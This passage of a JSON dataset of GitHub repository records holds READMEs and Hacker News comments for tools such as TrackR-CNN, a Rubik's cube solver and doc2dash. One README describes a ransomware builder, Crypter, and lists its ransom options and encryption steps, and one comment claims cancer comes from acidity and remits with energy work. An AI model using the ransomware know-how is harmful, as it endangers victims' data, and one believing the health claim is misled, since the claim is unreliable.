https://github.com/libfuse/libfuse/blob/master/include/fuse_... ) .Sadly, there is still no syscall on linux to do a \"readdirplus\" (usually called xgetdents()).<HN_SEP>Great work! To contribute to Python, would you say it's necessary to be comfortable with writing C code?<HN_SEP>Nice work, I'll keep it in mind next time.<HN_SEP>I'd think using those forms would be analogous to using different variable naming conventions in the same codebase or having no conventions for \"{\" placement.That in itself is not so bad, but it can possibly lead to the sort of environment where everyone has their own little version of common helper macros / function / libraries.<HN_SEP>Wow ... I consider myself reasonably well-versed with C, and I had never heard of that header.I would of course, bias and all, consider any programmers deciding to use it to be well out of touch with reality.I don't see a real-world benefit either, all it does is make those guys feel macho and elite for knowing something (of little value, in my opinion), and making the code hugely harder to maintain.Ask a manager, while providing some kind of statistical data showing how common use of this header is in C code \"in the wild\".A quick search with code.google.com gives _0_ hits for \"iso646.h\", that tells me something.<HN_SEP>Amazing. the wikipedia says:\n    \"which, without the header file, cannot be quickly or   easily typed on some international and non-QWERTY keyboards\"Anyone have one of those keyboards?<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "misterch0c/malSploitBase", "link": "https://github.com/misterch0c/malSploitBase", "tags": [], "stars": 507, "description": "Malware exploits ", "lang": "Python", "repo_lang": "", "readme": "Public exploits targetting malware infrastructure.\n\nIf you're an exploit dev and want to access private Keybase community, reach out to @MisterCh0c", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "VisualComputingInstitute/TrackR-CNN", "link": "https://github.com/VisualComputingInstitute/TrackR-CNN", "tags": [], "stars": 507, "description": "TrackR-CNN baseline method for Multi-Object Tracking and Segmentation (MOTS)", "lang": "Python", "repo_lang": "", "readme": "# TrackR-CNN\nCode for the TrackR-CNN baseline for the Multi Object Tracking and Segmentation (MOTS) task.\n\n## Project website (including annotations)\nhttps://www.vision.rwth-aachen.de/page/mots\n\n## Paper\n### MOTS: Multi-Object Tracking and Segmentation\n\nPaul Voigtlaender, Michael Krause, Aljosa Osep, Jonathon Luiten, Berin Balachandar Gnana Sekar, Andreas Geiger and Bastian Leibe\n\nhttps://www.vision.rwth-aachen.de/media/papers/mots-multi-object-tracking-and-segmentation/MOTS.pdf\n\n## mots_tools for evaluating results\nhttps://github.com/VisualComputingInstitute/mots_tools\n\n## Running this code\n### Setup\nYou'll need to install the following packages (possibly more):\n```\ntensorflow-gpu pycocotools numpy scipy sklearn pypng opencv-python munkres\n```\nIn particular, the code has been tested with Python 3.6.7 and Tensorflow 1.13.1 running on a single GTX 1080 Ti gpu. While there is experimental support for multi-gpu training through the \"gpus\" config flag, some users have reported problems with this, so we recommend using one gpu only.\n\nFurthermore, you'll need the [KITTI MOTS](https://www.vision.rwth-aachen.de/page/mots) dataset, where we assume you have a folder /path/to/kitti_mots with subfolders /path/to/kitti_mots/images containing the input images (i.e. there exist subfolders /path/to/kitti_mots/images/0000, /path/to/kitti_mots/images/0001, ...) and /path/to/kitti_mots/instances  (again with subfolders 0000, 0001, ...) containing the annotations.\n\nAlso, create the following directories for logs, model files etc. in the base directory of the repository:\n```\nmkdir forwarded models summaries logs\n```\n\n### Pre-Trained Models\nPre-trained models can be downloaded here: https://omnomnom.vision.rwth-aachen.de/data/trackrcnn/\n\n### Folder structure and config flags\nIn the configuration files, you'll need to adjust the `KITTI_segtrack_data_dir` and `load_init` flags to point to the [KITTI MOTS](https://www.vision.rwth-aachen.de/page/mots) data directory and the path to the [pretrained model](https://omnomnom.vision.rwth-aachen.de/data/trackrcnn/trackrcnn_init.zip), respectively. Logs, checkpoints and summaries are stored in the `logs/`, `models/` and `summaries/` subdirectories.\n\nSo all in all, your folder structure should look like this:\n```\ndata/\n- KITTI_MOTS/\n-- train/\n--- images/\n---- 0000/\n----- 000000.png\n----- 000001.png\n----- ...\n---- 0001/\n---- ...\n--- instances/\n---- 0000/\n----- 000000.png\n----- 000001.png\n----- ...\n---- 0001/\n---- ...\nmodels/\n- conv3d_sep2/\n-- conv3d_sep2-00000005.data-00000-of-00001\n-- conv3d_sep2-00000005.index\n-- conv3d_sep2-00000005.meta\n- converted.data-00000-of-00001\n- converted.meta\n- converted.index \n...\nmain.py\n```\nSo point `KITTI_segtrack_data_dir` to `data/KITTI_MOTS/train/` and `load_init` to `models/converted`.\n\n### Training\nIn order to train a model, run `main.py` with the corresponding configuration file. For the baseline model with two separable 3D convolutions and data association with learned embeddings, use\n```\npython main.py configs/conv3d_sep2\n```\n\n### Forwarding and tracking\nEither first train your own model as described above, or download [our model](https://omnomnom.vision.rwth-aachen.de/data/trackrcnn/conv3d_sep2-00000005.zip) and extract the files into models/conv3d_sep2/\n\nTo obtain the model's predictions (we call this \"forwarding\") run:\n```\npython main.py configs/conv3d_sep2 \"{\\\"task\\\":\\\"forward_tracking\\\",\\\"dataset\\\":\\\"KITTI_segtrack_feed\\\",\\\"load_epoch_no\\\":5,\\\"batch_size\\\":5,\\\"export_detections\\\":true,\\\"do_tracking\\\":false,\\\"video_tags_to_load\\\":[\\\"0002\\\",\\\"0006\\\",\\\"0007\\\",\\\"0008\\\",\\\"0010\\\",\\\"0013\\\",\\\"0014\\\",\\\"0016\\\",\\\"0018\\\",\\\"0000\\\",\\\"0001\\\",\\\"0003\\\",\\\"0004\\\",\\\"0005\\\",\\\"0009\\\",\\\"0011\\\",\\\"0012\\\",\\\"0015\\\",\\\"0017\\\",\\\"0019\\\",\\\"0020\\\"]}\"\n```\nThe json string supplied as an additional argument here overwrites the settings in the config file. Use `video_tags_to_load` to obtain predictions for specific sequences (in the example, all KITTI MOTS sequences are chosen). Output is written to the `forwarded/` subdirectory.\n\nThe model predictions as obtained by the previous command are not yet linked over time. You can use the following command to run the tracking algorithm described in the paper and to obtain final results in the `forwarded/` subdirectory which can be processed by the mots_tools scripts:\n```\npython main.py configs/conv3d_sep2\n\"{\\\"build_networks\\\":false,\\\"import_detections\\\":true,\\\"task\\\":\\\"forward_tracking\\\",\\\"dataset\\\":\\\"KITTI_segtrack_feed\\\",\\\"do_tracking\\\":true,\\\"visualize_detections\\\":false,\\\"visualize_tracks\\\":false,\\\"load_epoch_no\\\":5,\\\"video_tags_to_load\\\":[\\\"0002\\\",\\\"0006\\\",\\\"0007\\\",\\\"0008\\\",\\\"0010\\\",\\\"0013\\\",\\\"0014\\\",\\\"0016\\\",\\\"0018\\\"]}\"\n```\nYou can also visualize the tracking results here by setting `visualize_tracks` to true.\n\n### Tuning\nThe script for random tuning will find the best combination of tracking parameters on the training set and then evaluate these parameters on the validation set. This is how the results in the MOTS paper are obtained.\n\nTo use this script, run\n```\npython scripts/eval/segtrack_tune_experiment.py /path/to/detections/ /path/to/groundtruth/ /path/to/precomputed_optical_flow/ /path/to/output_file /path/to/tmp_folder/ /path/to/mots_eval/ association_type num_iterations\n```\nwhere `/path/to/detections/` is a folder containing the model output on the training set (obtained by the forwarding command above); `/path/to/mots_eval/` refers to the official evaluation script (link see above, clone the repository and supply the path here); `association_type` determines the method for associating detections into tracks and is either `reid` (using the association embeddings - use this if unsure!), `mask` (using mask warping), `bbox_iou` (using bounding box warping with median optical flow) or `bbox_center` (nearest neighbor matching); `num_iterations` is the number of random trials (1000 in the paper); `/path/to/groundtruth/ ` refers to the `instances` or `instances_txt` folder containing the annotations (which you can download from the project website); `/path/to/precomputed_optical_flow` can usually be set to a dummy folder (it refers to optical flow for input images, which is used only for a few of the ablation experiments in the paper - namely when setting `association_type` to `mask` or `bbox_iou` but if you set it to something else, then the flow path is ignored); at `/path/to/output_file`, a file will be created containing the results of the individual tuning iterations, please make sure this path is writable; at `/path/to/tmp_folder` a lot of intermediate folders will be stored, you can delete these afterwards.\n\n## References\nParts of this code are based on Tensorpack (https://github.com/tensorpack/tensorpack/tree/master/examples/FasterRCNN) and RETURNN (https://github.com/rwth-i6/returnn/blob/master/Log.py).\n\n## Citation\nIf you use this code, please cite:\n```\n@inproceedings{Voigtlaender19CVPR_MOTS,\n author = {Paul Voigtlaender and Michael Krause and Aljosa Osep and Jonathon Luiten and Berin Balachandar Gnana Sekar and Andreas Geiger and Bastian Leibe},\n title = {{MOTS}: Multi-Object Tracking and Segmentation},\n booktitle = {CVPR},\n year = {2019},\n}\n```\n\n## License\nMIT License\n\n## Contact\nIf you find a problem in the code, please open an issue.\n\nFor general questions, please contact Paul Voigtlaender (voigtlaender@vision.rwth-aachen.de) or Michael Krause (michael.krause@rwth-aachen.de)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "kkoomen/qbr", "link": "https://github.com/kkoomen/qbr", "tags": ["color-detection", "opencv", "python", "ciede2000", "webcam", "canny-edge-detection", "delta-e", "qbr", "cuber", "accurate", "multilingual", "demo", "rubiks-cube", "rubiks-cube-solver", "rubiks-cube-detection"], "stars": 507, "description": "A webcam-based 3x3x3 rubik's cube solver written in Python 3 and OpenCV.", "lang": "Python", "repo_lang": "", "readme": "# Qbr\n\nQbr, pronounced as Cuber, is a webcam-based 3x3x3 rubik's cube solver written in\nPython 3 and OpenCV.\n\n- :rainbow: Accurate color detection\n- :mag: Accurate 3x3x3 rubik's cube detection\n- :capital_abcd: Multilingual\n\n### Solve mode\n\n![solve mode](./demo-solve-mode.jpg)\n\n### Calibrate mode\n\nIsn't the default color detection working out for you? Use the **calibrate\nmode** to let Qbr be familiar with your cube's color scheme. If your room has\nproper lighting then this will give you a 99.9% guarantee that your colors will\nbe detected properly.\n\nSimply follow the on-screen instructions and you're ready to go.\n\n![calibrate mode](./demo-calibrate-mode.jpg)\n![calibrate mode success](./demo-calibrate-mode-success.jpg)\n\n# Table of Contents\n\n- [Qbr](#qbr)\n    + [Solve mode](#solve-mode)\n    + [Calibrate mode](#calibrate-mode)\n- [Table of Contents](#table-of-contents)\n- [Introduction](#introduction)\n- [Installation](#installation)\n- [Usage](#usage)\n    + [The first 9-sticker display (upper left corner)](#the-first-9-sticker-display-upper-left-corner)\n    + [The second 9-sticker display (upper left corner)](#the-second-9-sticker-display-upper-left-corner)\n    + [Amount of sides scanned (bottom left corner)](#amount-of-sides-scanned-bottom-left-corner)\n    + [Interface language (top right corner)](#interface-language-top-right-corner)\n    + [Full 2D cube state visualization (bottom right corner)](#full-2d-cube-state-visualization-bottom-right-corner)\n    + [Calibrate mode](#calibrate-mode-1)\n- [Getting the solution](#getting-the-solution)\n  * [How to scan your cube properly?](#how-to-scan-your-cube-properly)\n- [Keybindings](#keybindings)\n- [Paramaters](#paramaters)\n- [Example runs](#example-runs)\n- [Inspirational sources](#inspirational-sources)\n- [License](#license)\n\n# Introduction\n\nThe idea to create this came personally to mind when I started solving rubik's\ncubes. There were already so many professional programmers around the world who\ncreated robots that solve a rubik's cube in an ETA of 5 seconds and since 2016\nin 1 second ([link](https://www.youtube.com/watch?v=ixTddQQ2Hs4)).\nThat inspired me to create my own. I started using images only and eventually\nswitched to webcam.\n\n# Installation\n\n```\n$ git clone --depth 1 https://github.com/kkoomen/qbr.git\n$ cd qbr\n$ python3 -m venv env\n$ source ./env/bin/activate\n$ pip3 install -r requirements.txt\n```\n\n# Usage\n\n**Make sure you run `source ./env/bin/activate` every time you want to run the\nprogram.**\n\nRun Qbr:\n\n```\n$ ./src/qbr.py\n```\n\nThis opens a webcam interface with the following things:\n\n### The first 9-sticker display (upper left corner)\n\nThis is preview mode. This will update immediately and display how Qbr has\ndetected the colors.\n\n### The second 9-sticker display (upper left corner)\n\nThis is the snapshot state. When pressing `SPACE` it will create a snapshot in\norder to show you what state it has saved. You can press `SPACE` as many times\nas you'd like if it has been detected wrong.\n\n### Amount of sides scanned (bottom left corner)\n\nThe bottom left corner shows the amount of sides scanned. This is so you\nknow if you've scanned in all sides before pressing `ESC`.\n\n### Interface language (top right corner)\n\nIn the top right corner you can see the current interface language. If you want\nto change the interface language you can press `l` to cycle through them.\nContinue to press `l` until you've found the right language.\n\nDefault language is set to English.\n\nAvailable languages are:\n\n- English\n- Hungarian\n- Deutsch\n- French\n- Dutch\n- \u7b80\u4f53\u4e2d\u6587\n\n### Full 2D cube state visualization (bottom right corner)\n\nThis visualization represents the whole cube state that is being saved and can\nbe used to confirm whether the whole cube state has been scanned successfully.\n\n### Calibrate mode\n\nThe default color scheme contains the most prominent colors for white, yellow, red,\norange, blue and green. If this can't detect your cube its colors properly then\nyou can use calibrate mode.\n\nPress `c` to go into calibrate mode in order to let Qbr be familiar with your\ncube's color scheme. Simply follow the on-screen instructions and you're ready\nto go.\n\nNote: Your calibrated settings are automatically saved after you've calibrated\nyour cube successfully. The next time you start Qbr it will automatically load\nit.\n\nTip: If you've scanned wrong, simple go out of calibrate mode by pressing `c`\nand go back into calibrate by pressing `c` again.\n\n# Getting the solution\n\nQbr checks if you have filled in all 6 sides when pressing `ESC`. If so, it'll\ncalculate a solution if you've scanned it correctly.\n\nYou should now see a solution (or an error if you did it wrong).\n\n## How to scan your cube properly?\n\nThere is a strict way of scanning in the cube. Qbr will detect the side\nautomatically, but the way you rotate the cube during the time you're scanning\nit is crucial in order for Qbr to properly calculate a solution. Make sure to\nfollow the steps below properly:\n\n- Start off with the `green` side facing the camera and `white` on top, `green`\n  being away from you. Start by scanning in the `green` side at this point.\n- After you've scanned in the `green` side, rotate the cube 90 or -90 degrees\n  horizontally. It doesn't matter if you go clockwise or counter-clockwise.\n  Continue to do this for the `green`, `blue`, `red` and `orange` sides until\n  you are back at the `green` side.\n- You should now be in the same position like you started, having `green` facing\n  the camera and `white` on top. Rotate the cube forward 90 degrees, resulting\n  in `green` at the bottom and `white` facing the camera. Start scanning in the\n  `white` side.\n- After you've scanned the `white` side, turn the cube back to how you started,\n  having `green` in front again and `white` on top. Now rotate the cube\n  backwards 90 degrees, resulting in `green` on top and `yellow` facing the\n  camera. Now you can scan in the last `yellow` side.\n\nIf you've done the steps above correctly, you should have a solution from Qbr.\n\n# Keybindings\n\n- `SPACE` for saving the current state\n\n- `ESC` quit\n\n- `c` toggle calibrate mode\n\n- `l` switch interface language\n\n# Paramaters\n\nYou can use `-n` or `--normalize` to also output the solution in a \"human-readable\" format.\n\nFor example:\n\n* `R` will be: `Turn the right side a quarter turn away from you.`\n* `F2` will be: `Turn the front face 180 degrees.`\n\n# Example runs\n\n```\n$ ./qbr.py\nStarting position:\nfront: green\ntop: white\n\nMoves: 20\nSolution: U2 R D2 L2 F2 L U2 L F' U L U R2 B2 U' F2 D2 R2 D2 R2\n```\n\n```\n$ ./qbr.py -n\nStarting position:\nfront: green\ntop: white\n\nMoves: 20\nSolution: B2 U2 F' R U D' L' B' U L F U F2 R2 F2 D' F2 D R2 D2\n1. Turn the back side 180 degrees.\n2. Turn the top layer 180 degrees.\n3. Turn the front side a quarter turn to the left.\n4. Turn the right side a quarter turn away from you.\n5. Turn the top layer a quarter turn to the left.\n6. Turn the bottom layer a quarter turn to the left.\n7. Turn the left side a quarter turn away from you.\n8. Turn the back side a quarter turn to the right.\n9. Turn the top layer a quarter turn to the left.\n10. Turn the left side a quarter turn towards you.\n11. Turn the front side a quarter turn to the right.\n12. Turn the top layer a quarter turn to the left.\n13. Turn the front side 180 degrees.\n14. Turn the right side 180 degrees.\n15. Turn the front side 180 degrees.\n16. Turn the bottom layer a quarter turn to the left.\n17. Turn the front side 180 degrees.\n18. Turn the bottom layer a quarter turn to the right.\n19. Turn the right side 180 degrees.\n20. Turn the bottom layer 180 degrees.\n```\n\n# Inspirational sources\n\nSpecial thanks to [HaginCodes](https://github.com/HaginCodes) for the main\ninspiration on how to improve my color detection.\n\nhttps://github.com/HaginCodes/3x3x3-Rubiks-Cube-Solver\n\nhttp://programmablebrick.blogspot.com/2017/02/rubiks-cube-tracker-using-opencv.html\n\nhttps://gist.github.com/flyboy74/2cc3097f784c8c236a1a85278f08cddd\n\nhttps://github.com/dwalton76/rubiks-color-resolver\n\n# License\n\nQbr is licensed under the MIT License.\n", "readme_type": "markdown", "hn_comments": "I posted a link to the research, which is in english. A google translated version of the news article can be found here:https://goo.gl/M1jpas and the original dutch article: https://tweakers.net/nieuws/122465/tu-e-onderzoekers-realise...TL;DR; It could replace wifi als an alternative. Because there is no network congestion and interference. But it will take another 5 years before it can be put to practise, because of \"source/location\" detectionMultiple licht beams can be addedIt isn't dangerous for your retina ( eye)<HN_SEP>Far too much psuedoscience in this thread.<HN_SEP>Crushingly important article on the reality of deadly breast cancer. The delta between public perception of the disease and the reality is stark.<HN_SEP>I hate to say this (& will be downvoted), but our obsession with reductionist thinking blinds us to the actual causes of cancer. Just like unit tests blind the programmer from how the system works.From a holistic perspective, cancer is caused by an acidic, low oxygen environment or \"stagnant energy\". Emotional well being, energy work, & massage therapy has also been anecdotally reported by practitioners to cause cancer to remiss.Now before you criticize me for \"lack of studies\", please understand that studies do a poor job in complex environments. Just like it's been elusive to study programmer effectiveness due to high variability of conditions, the human body living in a specific environment, with specific habits is highly complex & variable. It's foolish to assume that we can account for all of the variables when we don't know what we are missing.About the bias, I can only say that these are anecdotal accounts. Some things seem to make sense, such as a health in environment, emotions, diet, physical body, spirituality, etc. would contribute to the body acting in healthier ways. A purely reductionist philosophy will not accept such factors unless these attributes can be isolated. However, how can such a complex system with unknown unknowns be tested?---Edit: I know, I committed blasphemy by criticizing a purely reductionist technique. Go ahead and downvote me due to your religious (or financially sponsored) conviction ;-)I'm happy to debate as well...---Edit2: Given I'm already at -4, I doubt anybody will be willing to answer such a basic question. Oh well, lol. I'm disappointed...<HN_SEP>There is no \"comprehensive\" database in the US.  With 50+ jurisdictions and a nightmarish insurance system I am not surprised.  But if you google \"metastatic breast cancer database UK\" you find this:\"The Recurrent and Metastatic Breast Cancer Data Collection Project Pilot report\"  http://www.ncin.org.uk/view?rid=1043\"Fifteen breast cancer units across England took part in the pilot for six months from June to November 2011. They identified 598 patients with recurrent and/or metastatic breast cancer, who were then matched with the National Cancer Waiting Times Monitoring Dataset (NCWTMDS) and with data received by cancer registries.\"It looks like the UK has been doing exactly what the OP found wasn't happening in the US: centralized databases.<HN_SEP>Excerpt:We now know that breast cancer is not one disease. What works for one person might not for another: There is no one \u201ccure.\u201d We are each, in effect, one-person clinical trials. Yet the knowledge generated from those trials will die with us because there is no comprehensive database of metastatic breast cancer patients, their characteristics and what treatments did and didn't help them.In the Big Data-era, this void is criminal. Consider what Wall Street does. Even the tiniest companies can see how much stock they sell, compare themselves to cohorts, review history, predict trends. Why can't we create such a database for cancer patients, so we can all learn from patient experiences and make more educated decisions on what treatments will extend and improve lives?<HN_SEP>What exactly will \"Big Data\" really do for this situation?Big Data for this seems like not quite the right tact, unless you are shooting to categorize people and hope for the right drug for the many possible mutations for the cancer.  I don't think we'd get very far as the samples would still be too small, and there would be too many possible mutations.The only thing that will help, IMO, that is a future cure is cancer immunotherapy that is specific to just that one person.It has worked in many cases, but it's very expensive.  One of these days, that price could plummet, and even stage 4 could theoretically be kicked to the side, with no need for chemo.<HN_SEP> Quite sad yet more women will die of heart disease than breast cancer.Although I do like her request:>Promise me, I told my friends and family, that you'll never say that I died after \u201cfighting a courageous battle with breast cancer.\u201d This tired, trite line dishonors the dead and the dying by suggesting that we, the victims, are responsible for our deaths or that the fight we were in was ever fair.And the slamming of that marketing machine Susan G. Komen which has become a monster that congratulates itself, sues people and trademarks the colour pink; I'm sure that's important to their machine.<HN_SEP>what a great testament to her life and to its worth<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "hynek/doc2dash", "link": "https://github.com/hynek/doc2dash", "tags": ["documentation", "documentation-tool", "python", "converter", "sphinx", "pydoctor", "mkdocs", "mkdocstrings"], "stars": 507, "description": "Create docsets for Dash.app-compatible API browsers.", "lang": "Python", "repo_lang": "", "readme": "# Create Docsets for Dash.app and Friends\n\n[![Documentation](https://img.shields.io/badge/Docs-Read%20The%20Docs-black)](https://doc2dash.readthedocs.io/)\n[![License: MIT](https://img.shields.io/badge/license-MIT-C06524)](https://github.com/hynek/doc2dash/blob/main/LICENSE)\n[![Homebrew Tap](https://img.shields.io/badge/Homebrew-tap-brown)](https://github.com/hynek/homebrew-tap)\n[![Current PyPI release](https://img.shields.io/pypi/v/doc2dash)](https://pypi.org/project/doc2dash/)\n\n<!-- begin-short -->\n\n*doc2dash* is an extensible [Documentation Set](https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/Documentation_Sets/010-Overview_of_Documentation_Sets/docset_overview.html#//apple_ref/doc/uid/TP40005266-CH13-SW6) (*docset*) generator that helps you to have documentation for all your favorite APIs in [*Dash.app*-compatible](https://kapeli.com/dash/) API browsers.\n\nAn API browser is an application that runs locally on your computer and allows you to search various API docs by pressing a key combination and starting to type (I have bound it to Alt-Space bar and can\u2019t write code without it).\n\nThe most common ones \u2013 [*Dash.app*](https://kapeli.com/dash) (macOS) and [*Zeal*](https://zealdocs.org) (Windows and Linux) \u2013 come with **many** docsets out of the box, but they can never offer you docsets for *every* package you\u2019ll ever use.\nThis is where *doc2dash* comes in:\nIt takes your offline documentation and converts it into an indexed format that API browsers can read and search (very fast!).\n\nCurrently it supports all known *intersphinx*-based documentation systems like [*Sphinx*](https://www.sphinx-doc.org/), [*pydoctor*](https://github.com/twisted/pydoctor), or [*MkDocs*](https://www.mkdocs.org) (with [*mkdocstrings*](https://mkdocstrings.github.io)).\nWhile *doc2dash* is a Python project, the support is **not** limited to Python-related formats.\n\nIt\u2019s also extendable: [**you** can write your own parser](https://doc2dash.readthedocs.io/en/latest/extending/)!\n\n![doc2dash Session](docs/doc2dash-session.png)\n\n\n## Quickstart\n\nThe fastest way to get started is installing *doc2dash* from our [*Homebrew* tap](https://github.com/hynek/homebrew-tap):\n\n```shell\n$ brew install hynek/tap/doc2dash\n```\n\n> **Note**\n> If you can\u2019t \u2013 or won\u2019t \u2013 use [*Homebrew*](https://brew.sh), check out our [installation instructions](https://doc2dash.readthedocs.io/en/latest/installation/) for alternatives.\n\nThen point *doc2dash* at a directory containing **built** [*intersphinx*-compatible](https://doc2dash.readthedocs.io/en/stable/formats/) documentation:\n\n```shell\n$ doc2dash directory/to/documentation\n```\n\nYou should see an output like in the screenshot above and find an appropriately named *docset* in the current directory.\nThat\u2019s it \u2013 you can add it to *Dash.app* or *Zeal*!\n\n*doc2dash* has many more features and options \u2013 make sure to check out the [usage](https://doc2dash.readthedocs.io/en/stable/usage/) for more details.\n\n\n## Project Information\n\n- **License**: [MIT](https://github.com/hynek/doc2dash/blob/main/LICENSE)\n- **Homebrew**: <https://github.com/hynek/homebrew-tap>\n- **PyPI**: <https://pypi.org/project/doc2dash/>\n- **Source Code**: <https://github.com/hynek/doc2dash>\n- **Documentation**: <https://doc2dash.rtfd.io/>\n- **Changelog**: <https://github.com/hynek/doc2dash/blob/main/CHANGELOG.md>\n- **Platforms**: pre-compiled **binaries** for **Linux**, **macOS**, and **Windows** available; also runs on everything that runs Python\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "sithis993/Crypter", "link": "https://github.com/sithis993/Crypter", "tags": ["ransomware", "malware", "malicious", "virus", "python", "pyinstaller", "encryption", "wxpython", "pycrypto", "python3"], "stars": 507, "description": "Crypter - Python3 based builder and ransomware compiled to Windows executable using PyInstaller", "lang": "Python", "repo_lang": "", "readme": "<h1 align=\"center\">Crypter</h1>\n<p align=\"center\">\n    <img src=\"repo_images/crypter_logo.png\" alt=\"Crypter Logo\"><br>\n    A Ransomware and Ransomware Builder for Windows written purely in Python\n</p><hr>\n\nCreated for security researchers, enthusiasts and educators, Crypter allows you to experience ransomware first hand. The newly released v3.0 is a complete overhaul that drastically simplifies setup and brings the package up-to-date to work with Python 3.6 and above. \n\nIf you're looking to dive straight in then head to the section on <a href=\"#getting-started\">Getting Started</a>. Otherwise continue reading to learn more about Crypter.\n\n<b>Note: </b>By making use of this repository and/or the content within, you agree that you have read and accepted the terms of the <a href=\"#disclaimer\">Disclaimer</a>\n\n<h2 align=\"center\">Contents</h2>\n\n<!-- TOC depthFrom:2 depthTo:6 withLinks:1 updateOnSave:1 orderedList:0 -->\n- [What's New](#whats-new-v30)\n- [Disclaimer](#disclaimer)\n- [Screenshots](#screenshots)\n- [How Does it Work?](#how-does-it-work)\n    - [Builder](#builder)\n    - [Ransomware](#ransomware)\n- [Getting Started](#getting-started)\n- [FAQs](#faqs)\n<!-- /TOC -->\n\n\n<h2 align=\"center\">What's New? (v3.0)</h2>\n<ul>\n    <li>Decryption key validation check before attempting decryption</li>\n    <li>Overhaul to support Python 3.6 and above</li>\n    <li>Drastically simplified dependency installation</li>\n</ul>\n\n<h2 align=\"center\">Disclaimer</h2>\n<p>\nCrypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository.\n</p>\n<p>\nOnce compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, <b>you should only run Crypter on a test machine created for this purpose</b>.\n</p>\n<p>\nOnce again,<b>the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer.</b>\n</p>\n\n<h2 align=\"center\">Screenshots</h2>\n<p align=\"center\">\n    <img src=\"repo_images/crypter_example.png\" alt=\"Crypter Builder and Ransomware Example\" width=\"100%\"><br>\n    Builder application (left) for customising and building the Crypter Ransomware (right)\n</p>\n\n<h1 align=\"center\">Getting Started</h1>\nFrom version 3.0 onwards, getting started is now easier than ever:\n<br><br>\n<ol>\n    <li>Download or clone this repository</li>\n    <li>Install the dependencies by running <b>pip install -r requirements.txt</b></li>\n    <li>Run Builder.pyw to open the Builder and start building!</li>\n</ol>\nIt's really that simple.\n\n<h2 align=\"center\">How Does it Work?</h2>\n\n### Builder\nThe builder is the application that allows you to customise and build the Crypter Ransomware. Some of the options you can set include:\n\n- Binary Executable File Icon\n- GUI Title/Heading\n- GUI Font and Background Colour\n- Bitcoin Wallet Address\n- Ransom Fee\n- Ransom Message\n- Payment Time Limit \n- File Shadow Copy Deletion\n- Filetypes to Encrypt\n\nand many more. After setting these options simply hit the <b>BUILD</b> button the build the executable.\n\n### Ransomware\nOnce executed, Crypter will take the following steps:\n\n- Generate an AES-256 bit encryption/decryption key and write it to key.txt in the current directory\n- Search relevant locations (network drives, user directories, etc.) for matching files\n- Encrypt all matching files\n- Display the Crypter GUI to the victim\n\n<h2 align=\"center\">FAQs</h2>\n\n#### 1. Why did you create this?</li>\n<p>\nCrypter was created for two reasons:\n    <ul>\n        <li>As an experiment and Proof-of-Concept (PoC)</li>\n        <li>For use in Red vs. Blue training environments</li>\n    </ul>            \n<p>\n<p>\nTraditionally, malware is written in compiled languages like C and C++. As a security researches and Python developer, I set out to determine the extent to which interpretted languages could be used for the creation of malware. At the same time I was working for a security reseller who offered Red vs. Blue training to large enterprises. The training environment made use of live malware samples which were realistic, but unreliable and volatile. After completing the initial PoC, I continued working on Crypter for this organisation to provide a customisable Ransomware sample for use use in this environment.\n</p>\n\n#### 2. Why make it publically available?\n<p>\nCrypter was made publically available to enable security researchers and enthusiasts to gain a better understanding of Ransomware. While there are plenty of guides and videos on the topic, they usually don't provide the understanding that can be gained by experiencing something first hand.\n</p>\n\n#### 3. But couldn't it be used by criminals for malicious purposes?!\n<p>\nWhile Crypter can be used to simulate a real Ransomware attack, steps have been taken to allow users to reverse any damage, and to prevent use by criminals in the wild. Ransomware is only useful to a criminal if they have the ability to decrypt the user's files and the user does not. Traditionally this is done by sending the encryption key to a remote Command & Control (CnC) server controlled by an attack once the user's files have been encrypted. The victim then pays a ransom fee to retrieve access to the key that will decrypt their files.\n</p>\n<p>\n    With Crypter however, there is <b>no</b> inbuilt CnC capability. Once the user's files have been encrypted, the decryption key is written to <b>key.txt</b> in the same directory as the ransomware executable. The user can then use this key to decrypt their files.\n</p>\n\n\n#### 4. Could it not be adapted for malicious use?\n<p>\n    It is certainly possible to further develop Crypter and implement the missing CnC capabilities. However, this requires expertise and knowledge in programming as well as malware tactics and techniques. Anyone motivated and knowledgeable enough to add these components would most likely create a piece of Ransomware from scratch, and  not make use of an existing, open source and publically available package as the basis for their attacks.\n</p>\n\n#### 5. Can you add a feature for me?\n<p>\n    Firstly, if you're going to ask me if I can add CnC functionality, or implement some method for sending the encryption key to remote server, Email etc. please don't waste you time. This is <b>not</b> something I'm willing to do, as it would provide script kiddies with a ready made Ransomware tool that would almost certainly be used for nefarious purposes. Again, this project was created purely for research and educational purposes.\n</p>\n<p>\n    Alternatively, if there is a feature that you think could be cool or useful, then feel free to create an issue with some information on what you're looking for and why. I'm usually quite busy with other projects, but if I think it's worthwhile and I can find the time, I may see if it's something that I can implement.\n</p>\n    \n\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "jmbannon/ytdl-sub", "link": "https://github.com/jmbannon/ytdl-sub", "tags": ["emby", "jellyfin", "kodi", "plex", "yt-dlp", "yt-dlp-wrapper", "ytdl", "youtube"], "stars": 507, "description": "Automate downloading and metadata generation with YoutubeDL", "lang": "Python", "repo_lang": "", "readme": "# ytdl-sub\n## Automate downloading and metadata generation with YoutubeDL.\n[<img src=\"https://img.shields.io/badge/readthedocs-link-blue?logo=readthedocs\">](https://ytdl-sub.readthedocs.io/en/latest/index.html)\n[<img 